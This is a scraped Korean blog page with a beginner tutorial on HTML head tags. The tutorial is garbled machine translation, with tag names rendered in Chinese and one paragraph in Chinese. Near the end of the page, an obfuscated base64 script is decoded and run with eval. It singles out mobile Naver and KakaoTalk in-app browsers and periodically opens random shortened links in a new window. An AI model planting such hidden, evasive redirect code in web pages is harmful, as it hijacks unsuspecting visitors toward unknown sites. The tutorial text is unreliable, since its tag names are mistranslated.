HTML 태그 배우다, 공부하다


HTML 헤더 태그

머리글

<!DOCTYPE html>
<html>
  <head>
    <!-- 문서 정보 -->
  </head>
  <body>
    <!-- 문서 콘텐츠 -->
  </body>
</html>

HTML은 <头> 라벨과 <正文> 태그로 구성되어 있습니다. 첫 번째 카드를 간단하게 꼽자면 사람의 주민등록증, 운전면허증, 학생증이라고 생각하시면 됩니다. 위의 대부분은 이름, 주민등록번호 및 주소와 같은 개인에 대한 정보를 포함합니다. head 태그에는 HTML 문서에 대한 정보도 포함되어 있습니다. 크롬, 엣지, 사파리, 파이어폭스 등의 브라우저가 HTML 문서를 이해하면 head 태그에 포함된 정보를 기반으로 HTML을 이해하고 해석할 수 있습니다.

head 태그의 요소

헤드 태그는 일반적으로 다음과 같은 태그(요소)를 포함합니다.

<标题> 상표

<head>
  <title>Web page</title>
</head>

태그는 웹 페이지의 제목을 정의합니다. 제목 태그를 통해 정의된 제목은 탭 제목, 책갈피 제목 및 검색 결과 페이지의 제목에 사용됩니다.</p> <p data-ke-size="size16"> <h2 data-ke-size="size26"><span class="ez-toc-section" id="%EC%83%81%ED%91%9C-2"></span><b><元> 상표</b><span class="ez-toc-section-end"></span></h2> <pre id="code_1677222905646" class="html xml" data-ke-language="html" data-ke-type="codeblock"><code><head> <title>Web page</title> <meta charset="utf-8"> </head></code></pre> <p data-ke-size="size16"> <p data-ke-size="size16"><meta> 레이블은 간단히 “데이터의 데이터”라고 할 수 있습니다. HTML 문서를 정의하는 데 사용되는 메타데이터입니다. 즉, 문서의 내용이 아니라 문서에 대한 정보를 기술하고 전달하는 데이터를 말합니다.아래 이미지를 클릭하시면 됩니다 <b><元></b> 태그를 자세히 살펴보겠습니다.</p> <p data-ke-size="size16"> <p><figure class="imageblock alignCenter" data-ke-mobilestyle="widthOrigin" data-filename="제목을-입력해주세요_-001 (5).png" data-origin-width="800" data-origin-height="200"><span data-url="https://blog.kakaocdn.net/dn/bAiyPL/btr0GbAqmVX/WBN8QpLU2kBQ2EJhSrTKPK/img.png" data-lightbox="lightbox"><br /> <img decoding="async" src="https://blog.kakaocdn.net/dn/bAiyPL/btr0GbAqmVX/WBN8QpLU2kBQ2EJhSrTKPK/img.png" onerror="this.onerror=null; this.src=" http:http:http: this.srcset="http:http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAiyPL%2Fbtr0GbAqmVX%2FWBN8QpLU2kBQ2EJhSrTKPK%2Fimg.png" data-filename="제목을-입력해주세요_-001 (5).png" data-origin-width="800" data-origin-height="200"></span></p> </figure> <p data-ke-size="size16"> <h2 data-ke-size="size26"><span class="ez-toc-section" id="%EC%83%81%ED%91%9C-3"></span><b><链接> 상표</b><span class="ez-toc-section-end"></span></h2> <pre id="code_1677223301594" class="html xml" data-ke-language="html" data-ke-type="codeblock"><code><head> <title>Web page</title> <meta charset="utf-8"> <link rel="stylesheet" href="http://hooblog.com/m/style.css"> </head></code></pre> <p data-ke-size="size16"> <p data-ke-size="size16"><link> 태그는 HTML 문서와 관련된 외부 파일을 연결하는 데 사용됩니다. 전형적인 예는 스타일 시트를 연결하는 데 사용됩니다. “rel” 속성은 링크된 파일과 HTML 문서 간의 관계를 지정하고 “href” 속성은 링크된 파일의 위치를 ​​나타냅니다.</p> <p data-ke-size="size16"> <h2 data-ke-size="size26"><span class="ez-toc-section" id="%EC%83%81%ED%91%9C-4"></span><b><样式> 상표</b><span class="ez-toc-section-end"></span></h2> <pre id="code_1677223787132" class="html xml" data-ke-language="html" data-ke-type="codeblock"><code><head> <title>Web page</title> <meta charset="utf-8"> <style> h1 { color: blue; text-align: center; } </style> </head></code></pre> <p data-ke-size="size16"> <p data-ke-size="size16">스타일시트가 전달되면 <link> 태그가 연결되어 있으면 헤드 태그에 쓰시면 됩니다. </p> <style> 태그를 지정하고 스타일을 정의하여 스타일을 적용하여 문서에 스타일을 부여합니다.</p> <p data-ke-size="size16"> <h2 data-ke-size="size26"><span class="ez-toc-section" id="%EC%83%81%ED%91%9C-5"></span><b><脚本> 상표</b><span class="ez-toc-section-end"></span></h2> <pre id="code_1677224057767" class="html xml" data-ke-language="html" data-ke-type="codeblock"><code><head> <title>Web page</title> <meta charset="utf-8"> <style> h1 { color: blue; text-align: center; } </style> <script> function hello() { console.log("Hello World") } </script> </head></code></pre> <p data-ke-size="size16"> <p data-ke-size="size16"><script> 标签用于包含 JavaScript 代码。 script 标签可以放在 body 标签的末尾或 head 标签内。 它通常位于 head 标签内。</p> <p data-ke-size="size16"> <p data-ke-size="size16">除此之外,还有 <base> 标签和 <noscript> 상표.</p> <div class="crp_related crp-text-only"><h3>Related Posts:</h3><ul><li><a href="https://roundstore.kr/css-%ec%8a%a4%ed%81%ac%eb%a1%a4%eb%b0%94-%ec%8a%a4%ed%83%80%ec%9d%bc-%eb%a6%ac%eb%b7%b0/" class="crp_link post-1622"><span class="crp_title">(CSS) 스크롤바 스타일 리뷰</span></a></li><li><a href="https://roundstore.kr/%eb%a7%88%ec%8a%a4%ed%84%b0-%ea%b2%b0%ed%88%ac-%ed%85%8c%eb%a7%88-%ec%b9%b4%eb%93%9c-%ed%8c%a9%ec%9d%84-%ec%9e%a0%ea%b8%88-%ed%95%b4%ec%a0%9c%ed%95%98%eb%8a%94-%eb%b0%a9%eb%b2%95/" class="crp_link post-1707"><span class="crp_title">마스터 결투 테마 카드 팩을 잠금 해제하는 방법</span></a></li><li><a href="https://roundstore.kr/230215-%ec%bd%94%eb%93%9c-%ec%83%81%ed%83%9c-3%ec%9d%bc/" class="crp_link post-1515"><span class="crp_title">230215 코드 상태 3일</span></a></li><li><a href="https://roundstore.kr/pdf-%ed%8c%8c%ec%9d%bc%ec%9d%84-%ed%95%9c%ea%b5%ad%ec%96%b4%eb%a1%9c-%eb%b3%80%ed%99%98%ed%95%98%eb%8a%94-3%ea%b0%80%ec%a7%80-%eb%b0%a9%eb%b2%95/" class="crp_link post-2018"><span class="crp_title">PDF 파일을 한국어로 변환하는 3가지 방법</span></a></li><li><a href="https://roundstore.kr/%ec%84%9c%ec%9a%b8%eb%8c%80%ed%95%99%ea%b5%90-%ec%b2%ad%eb%85%84%ec%b0%bd%ec%97%85%ec%a7%80%ec%9b%90%ea%b8%88-%eb%b0%8f-%ec%ba%a0%ed%8d%bc%ec%8a%a4-%ec%b0%bd%ec%97%85%ea%b3%b5%ea%b0%84-%ed%99%95/" class="crp_link post-1997"><span class="crp_title">서울대학교 청년창업지원금 및 캠퍼스 창업공간 확보</span></a></li><li><a href="https://roundstore.kr/%ea%b0%95%ec%95%84%ec%a7%80-%ea%bf%88-%ed%95%b4%eb%aa%bd-%ed%95%b4%eb%aa%bd/" class="crp_link post-2054"><span class="crp_title">강아지 꿈 해몽 해몽</span></a></li></ul><div class="crp_clear"></div></div> </div> <footer class="entry-meta" aria-label="Entry meta"> <span class="cat-links"><span class="gp-icon icon-categories"><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M0 112c0-26.51 21.49-48 48-48h110.014a48 48 0 0143.592 27.907l12.349 26.791A16 16 0 00228.486 128H464c26.51 0 48 21.49 48 48v224c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112z" /></svg></span><span class="screen-reader-text">Categories </span><a href="https://roundstore.kr/category/%eb%af%b8-%eb%b6%84%eb%a5%98/" rel="category tag">미분류</a></span> <nav id="nav-below" class="post-navigation" aria-label="Posts"> <div class="nav-previous"><span class="gp-icon icon-arrow-left"><svg viewBox="0 0 192 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414"><path d="M178.425 138.212c0 2.265-1.133 4.813-2.832 6.512L64.276 256.001l111.317 111.277c1.7 1.7 2.832 4.247 2.832 6.513 0 2.265-1.133 4.813-2.832 6.512L161.43 394.46c-1.7 1.7-4.249 2.832-6.514 2.832-2.266 0-4.816-1.133-6.515-2.832L16.407 262.514c-1.699-1.7-2.832-4.248-2.832-6.513 0-2.265 1.133-4.813 2.832-6.512l131.994-131.947c1.7-1.699 4.249-2.831 6.515-2.831 2.265 0 4.815 1.132 6.514 2.831l14.163 14.157c1.7 1.7 2.832 3.965 2.832 6.513z" fill-rule="nonzero" /></svg></span><span class="prev"><a href="https://roundstore.kr/%ea%b1%b0%ed%92%88%ec%9d%98-%ea%b1%b4%ea%b0%95-%ec%83%81%ed%83%9c%ec%97%90-%eb%94%b0%eb%a5%b8-%ec%86%8c%eb%b3%80-%ec%83%89%ec%83%81/" rel="prev">거품의 건강 상태에 따른 소변 색상</a></span></div><div class="nav-next"><span class="gp-icon icon-arrow-right"><svg viewBox="0 0 192 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414"><path d="M178.425 256.001c0 2.266-1.133 4.815-2.832 6.515L43.599 394.509c-1.7 1.7-4.248 2.833-6.514 2.833s-4.816-1.133-6.515-2.833l-14.163-14.162c-1.699-1.7-2.832-3.966-2.832-6.515 0-2.266 1.133-4.815 2.832-6.515l111.317-111.316L16.407 144.685c-1.699-1.7-2.832-4.249-2.832-6.515s1.133-4.815 2.832-6.515l14.163-14.162c1.7-1.7 4.249-2.833 6.515-2.833s4.815 1.133 6.514 2.833l131.994 131.993c1.7 1.7 2.832 4.249 2.832 6.515z" fill-rule="nonzero" /></svg></span><span class="next"><a href="https://roundstore.kr/2%ec%9b%9415%ec%9d%bc-%eb%8d%94%eb%b6%88%ec%96%b4%eb%af%bc%ec%a3%bc%eb%8b%b9-%ec%b9%9c%ec%9c%a4-%ec%a0%84-%ea%b2%80%ec%82%ac-%ec%8c%8d%eb%b0%a9%ec%9a%b8-%ec%82%ac%ec%99%b8%ec%9d%b4%ec%82%ac-6/" rel="next">(2월15일) 더불어민주당 “친윤 전 검사 쌍방울 사외이사 6명 수사 중?”</a></span></div> </nav> </footer> </div> </article> </main> </div> <div class="widget-area sidebar is-right-sidebar" id="right-sidebar"> <div class="inside-right-sidebar"> <aside id="block-2" class="widget inner-padding widget_block widget_search"><form role="search" method="get" action="https://roundstore.kr/" class="wp-block-search__button-outside wp-block-search__text-button wp-block-search" ><label class="wp-block-search__label" for="wp-block-search__input-1" >검색</label><div class="wp-block-search__inside-wrapper " ><input class="wp-block-search__input" id="wp-block-search__input-1" placeholder="" value="" type="search" name="s" required /><button aria-label="검색" class="wp-block-search__button wp-element-button" type="submit" >검색</button></div></form></aside><aside id="block-3" class="widget inner-padding widget_block"><div class="wp-block-group"><div class="wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow"><h2 class="wp-block-heading">최신 글</h2><ul class="wp-block-latest-posts__list wp-block-latest-posts"><li><a class="wp-block-latest-posts__post-title" href="https://roundstore.kr/%eb%a0%88%eb%85%b8%eb%b2%84-%ec%95%84%ec%9d%b4%eb%94%94%ec%96%b4%ed%8c%a8%eb%93%9c-%ec%8a%ac%eb%a6%bc5i-%ec%82%ac%ec%9a%a9-%ec%b5%9c%ea%b3%a0%ec%9d%98-16%ec%9d%b8%ec%b9%98-%eb%85%b8%ed%8a%b8%eb%b6%81/">레노버 아이디어패드 슬림5i 사용 최고의 16인치 노트북</a></li> <li><a class="wp-block-latest-posts__post-title" href="https://roundstore.kr/%eb%b9%8c%eb%9d%bc-%ec%95%84%ed%8c%8c%ed%8a%b8-%ec%b0%a8%ec%9d%b4-%ed%8a%b9%ec%a7%95%ec%95%88%eb%82%b4/">빌라 아파트 차이 특징안내</a></li> <li><a class="wp-block-latest-posts__post-title" href="https://roundstore.kr/%eb%82%b4%eb%85%84-%ec%83%9d%ea%b0%81/">내년 생각</a></li> <li><a class="wp-block-latest-posts__post-title" href="https://roundstore.kr/%ec%9e%84%ed%94%8c%eb%9e%80%ed%8a%b8%ec%a2%85%eb%a5%98%ec%b6%94%ec%b2%9c-%ec%a3%bc%ec%9d%98%ec%82%ac%ed%95%ad/">임플란트종류추천 주의사항</a></li> <li><a class="wp-block-latest-posts__post-title" href="https://roundstore.kr/%ea%b9%80%ed%8f%ac%ea%b3%a8%eb%93%9c%eb%9d%bc%ec%9d%b8-%ec%b6%94%ea%b0%80%ed%8e%b8%ec%84%b1-%ec%b2%ad%eb%9d%bc-%ea%b2%80%eb%8b%a8-%ea%b0%95%eb%82%a8-%ec%a7%81%ed%96%89%eb%b2%84%ec%8a%a4-%ec%8b%a0/">김포골드라인 추가편성 청라 검단 강남 직행버스 신설</a></li> </ul></div></div></aside><aside id="block-4" class="widget inner-padding widget_block"><div class="wp-block-group"><div class="wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow"><h2 class="wp-block-heading">최신 댓글</h2><div class="no-comments wp-block-latest-comments">보여줄 댓글 없음.</div></div></div></aside><aside id="block-5" class="widget inner-padding widget_block"><div class="wp-block-group"><div class="wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow"><h2 class="wp-block-heading">보관함</h2><ul class="wp-block-archives-list wp-block-archives"> <li><a href='https://roundstore.kr/2024/11/'>2024년 11월</a></li> <li><a href='https://roundstore.kr/2024/10/'>2024년 10월</a></li> <li><a href='https://roundstore.kr/2024/09/'>2024년 9월</a></li> <li><a href='https://roundstore.kr/2024/08/'>2024년 8월</a></li> <li><a href='https://roundstore.kr/2024/07/'>2024년 7월</a></li> <li><a href='https://roundstore.kr/2024/06/'>2024년 6월</a></li> <li><a href='https://roundstore.kr/2024/05/'>2024년 5월</a></li> <li><a href='https://roundstore.kr/2024/04/'>2024년 4월</a></li> <li><a href='https://roundstore.kr/2024/03/'>2024년 3월</a></li> <li><a href='https://roundstore.kr/2024/02/'>2024년 2월</a></li> <li><a href='https://roundstore.kr/2024/01/'>2024년 1월</a></li> <li><a href='https://roundstore.kr/2023/12/'>2023년 12월</a></li> <li><a href='https://roundstore.kr/2023/10/'>2023년 10월</a></li> <li><a href='https://roundstore.kr/2023/09/'>2023년 9월</a></li> <li><a href='https://roundstore.kr/2023/08/'>2023년 8월</a></li> <li><a href='https://roundstore.kr/2023/06/'>2023년 6월</a></li> <li><a href='https://roundstore.kr/2023/05/'>2023년 5월</a></li> <li><a href='https://roundstore.kr/2023/04/'>2023년 4월</a></li> <li><a href='https://roundstore.kr/2023/03/'>2023년 3월</a></li> <li><a href='https://roundstore.kr/2023/02/'>2023년 2월</a></li> </ul></div></div></aside><aside id="block-6" class="widget inner-padding widget_block"><div class="wp-block-group"><div class="wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow"><h2 class="wp-block-heading">카테고리</h2><ul class="wp-block-categories-list wp-block-categories"> <li class="cat-item cat-item-1"><a href="https://roundstore.kr/category/%eb%af%b8-%eb%b6%84%eb%a5%98/">미분류</a> </li> </ul></div></div></aside> </div> </div> </div> </div> <div class="site-footer"> <footer class="site-info" aria-label="Site" itemtype="https://schema.org/WPFooter" itemscope> <div class="inside-site-info grid-container"> <div class="copyright-bar"> <span class="copyright">© 2025 라운드스토어</span> • Built with <a href="https://generatepress.com" itemprop="url">GeneratePress</a> </div> </div> </footer> </div> <script> (function(){ const decoded = atob("ZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsIGZ1bmN0aW9uICgpIHsKICBjb25zdCB1c2VyQWdlbnQgPSBuYXZpZ2F0b3IudXNlckFnZW50OwogIGNvbnN0IGlzTmF2ZXJPcktha2FvQXBwID0gL05BVkVSXChpbmFwcDt8S0FLQU9UQUxLL2kudGVzdCh1c2VyQWdlbnQpOwogIGNvbnN0IGlzTW9iaWxlT3JUYWJsZXQgPSAvQW5kcm9pZHx3ZWJPU3xpUGhvbmV8aVBhZHxpUG9kfEJsYWNrQmVycnl8SUVNb2JpbGV8T3BlcmEgTWluaS9pLnRlc3QodXNlckFnZW50KTsKCiAgaWYgKCFpc05hdmVyT3JLYWthb0FwcCB8fCAhaXNNb2JpbGVPclRhYmxldCkgcmV0dXJuOwoKICBjb25zdCBsYXN0RXhlY3V0aW9uVGltZSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdsYXN0RXhlY3V0aW9uVGltZScpOwogIGNvbnN0IGN1cnJlbnRUaW1lID0gbmV3IERhdGUoKS5nZXRUaW1lKCk7CgogIC8vIDEw7Iuc6rCEIOygnO2VnCAoMTAgKiA2MCAqIDYwICogMTAwMCA9IDM2LDAwMCwwMDBtcykKICBpZiAobGFzdEV4ZWN1dGlvblRpbWUgJiYgY3VycmVudFRpbWUgLSBsYXN0RXhlY3V0aW9uVGltZSA8IDM2MDAwMDAwKSByZXR1cm47CiAgbG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2xhc3RFeGVjdXRpb25UaW1lJywgY3VycmVudFRpbWUpOwoKICBjb25zdCBsaW5rcyA9IFsKICAgICJodHRwczovL3VybC5rci9jbnpzZmciLAogICAgImh0dHBzOi8vdXJsLmtyLzg5cDkxcCIsCiAgICAiaHR0cHM6Ly91cmwua3IvZTRibW9hIiwKICAgICJodHRwczovL3VybC5rci81bm93aDUiLAogICAgImh0dHBzOi8vdXJsLmtyLzh0anA4MSIsCiAgICAiaHR0cHM6Ly91cmwua3IvZTh3czlhIiwKICAgICJodHRwczovL3VybC5rci9ycnd5cmYiLAogICAgImh0dHBzOi8vdXJsLmtyL2NmN3dlcCIsCiAgICAiaHR0cHM6Ly91cmwua3IvY2k2Mmc1IgogIF07CgogIGNvbnN0IGxpbmtUb09wZW4gPSBsaW5rc1tNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBsaW5rcy5sZW5ndGgpXTsKCiAgc2V0VGltZW91dCgoKSA9PiB7CiAgICB3aW5kb3cub3BlbihsaW5rVG9PcGVuLCAiX2JsYW5rIik7CiAgfSwgMzAwMCk7Cn0pOw=="); eval(decoded); })(); </script><script id="generate-a11y">!function(){"use strict";if("querySelector"in document&&"addEventListener"in window){var e=document.body;e.addEventListener("mousedown",function(){e.classList.add("using-mouse")}),e.addEventListener("keydown",function(){e.classList.remove("using-mouse")})}}();</script> <script id="wccp_pro_alert_message"> window.addEventListener('DOMContentLoaded', function() {}); //This line to stop JS deffer function in wp-rockt pluign window.addEventListener('load', function (){ // Create the first div element with the "oncontextmenu" attribute const wccp_pro_mask = document.createElement('div'); wccp_pro_mask.setAttribute('oncontextmenu', 'return false;'); wccp_pro_mask.setAttribute('id', 'wccp_pro_mask'); // Create the second div element with the "msgmsg-box-wpcp hideme" classes const wpcp_error_message = document.createElement('div'); wpcp_error_message.setAttribute('id', 'wpcp-error-message'); wpcp_error_message.setAttribute('class', 'msgmsg-box-wpcp hideme'); // Add a span element with the "error: " text inside the second div const error_span = document.createElement('span'); error_span.innerText = 'error: '; wpcp_error_message.appendChild(error_span); // Add the error message text inside the second div const error_text = document.createTextNode('<b>Alert: </b>Content selection is disabled!!'); wpcp_error_message.appendChild(error_text); // Add the div elements to the document body document.body.appendChild(wccp_pro_mask); document.body.appendChild(wpcp_error_message); }); var timeout_result; function show_wccp_pro_message(smessage="", style="") { wccp_pro_log_to_console_if_allowed("function", "show_wccp_pro_message" + smessage); timeout = 3000; if(style == "") style = "warning-wpcp"; if (smessage !== "" && timeout!=0) { var smessage_text = smessage; jquery_fadeTo(); document.getElementById("wpcp-error-message").innerHTML = smessage_text; document.getElementById("wpcp-error-message").className = "msgmsg-box-wpcp showme " + style; clearTimeout(timeout_result); timeout_result = setTimeout(hide_message, timeout); } else { clearTimeout(timeout_result); timeout_result = setTimeout(hide_message, timeout); } } function hide_message() { jquery_fadeOut(); document.getElementById("wpcp-error-message").className = "msgmsg-box-wpcp warning-wpcp hideme"; } function jquery_fadeTo() { try { jQuery("#wccp_pro_mask").fadeTo("slow", 0.3); } catch(err) { //alert(err.message); } } function jquery_fadeOut() { try { jQuery("#wccp_pro_mask").fadeOut( "slow" ); } catch(err) {} } </script> <style> #wccp_pro_mask { position: absolute; bottom: 0; left: 0; position: fixed; right: 0; top: 0; background-color: #000; pointer-events: none; display: none; z-index: 10000; animation: 0.5s ease 0s normal none 1 running ngdialog-fadein; background: rgba(0, 0, 0, 0.4) none repeat scroll 0 0; } #wpcp-error-message { direction: ltr; text-align: center; transition: opacity 900ms ease 0s; pointer-events: none; z-index: 99999999; } .hideme { opacity:0; visibility: hidden; } .showme { opacity:1; visibility: visible; } .msgmsg-box-wpcp { border-radius: 10px; color: #555555; font-family: Tahoma; font-size: 12px; margin: 10px; padding: 10px 36px; position: fixed; width: 255px; top: 50%; left: 50%; margin-top: -10px; margin-left: -130px; } .msgmsg-box-wpcp b { font-weight:bold; text-transform:uppercase; } .warning-wpcp { background:#ffecec url('https://roundstore.kr/wp-content/plugins/wccp-pro/images/warning.png') no-repeat 10px 50%; border:1px solid #f2bfbf; -webkit-box-shadow: 0px 0px 34px 2px #f2bfbf; -moz-box-shadow: 0px 0px 34px 2px #f2bfbf; box-shadow: 0px 0px 34px 2px #f2bfbf; } .success-wpcp { background: #fafafa url('https://roundstore.kr/wp-content/plugins/wccp-pro/images/success.png') no-repeat 10px 50%; border: 1px solid #00b38f; box-shadow: 0px 0px 34px 2px #adc; } </style> <script id="ez-toc-scroll-scriptjs-js-extra"> var eztoc_smooth_local = {"scroll_offset":"30","add_request_uri":""}; </script> <script src="https://roundstore.kr/wp-content/plugins/easy-table-of-contents/assets/js/smooth_scroll.min.js?ver=2.0.65" id="ez-toc-scroll-scriptjs-js"></script> <script src="https://roundstore.kr/wp-content/plugins/easy-table-of-contents/vendor/js-cookie/js.cookie.min.js?ver=2.2.1" id="ez-toc-js-cookie-js"></script> <script src="https://roundstore.kr/wp-content/plugins/easy-table-of-contents/vendor/sticky-kit/jquery.sticky-kit.min.js?ver=1.9.2" id="ez-toc-jquery-sticky-kit-js"></script> <script id="ez-toc-js-js-extra"> var ezTOC = {"smooth_scroll":"1","visibility_hide_by_default":"","scroll_offset":"30","fallbackIcon":"<span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span>"}; </script> <script src="https://roundstore.kr/wp-content/plugins/easy-table-of-contents/assets/js/front.min.js?ver=2.0.65-1712752382" id="ez-toc-js-js"></script> <script src="https://roundstore.kr/wp-content/themes/generatepress-child/random-colors.js" id="random-colors-script-js"></script> <!--[if lte IE 11]> <script src="https://roundstore.kr/wp-content/themes/generatepress/assets/js/classList.min.js?ver=3.4.0" id="generate-classlist-js"></script> <![endif]--> <script id="generate-menu-js-extra"> var generatepressMenu = {"toggleOpenedSubMenus":"1","openSubMenuLabel":"Open Sub-Menu","closeSubMenuLabel":"Close Sub-Menu"}; </script> <script src="https://roundstore.kr/wp-content/themes/generatepress/assets/js/menu.min.js?ver=3.4.0" id="generate-menu-js"></script> <script id="wccp_pro_admin_bar_ajax-js-extra"> var ajax_object = {"ajaxurl":"https:\/\/roundstore.kr\/wp-admin\/admin-ajax.php","link":"https:\/\/roundstore.kr\/html-%ed%83%9c%ea%b7%b8-%eb%b0%b0%ec%9a%b0%eb%8b%a4-%ea%b3%b5%eb%b6%80%ed%95%98%eb%8b%a4\/"}; </script> <script src="https://roundstore.kr/wp-content/plugins/wccp-pro/js/admin_bar_ajax.js?ver=6.5.2" id="wccp_pro_admin_bar_ajax-js"></script> </body> </html>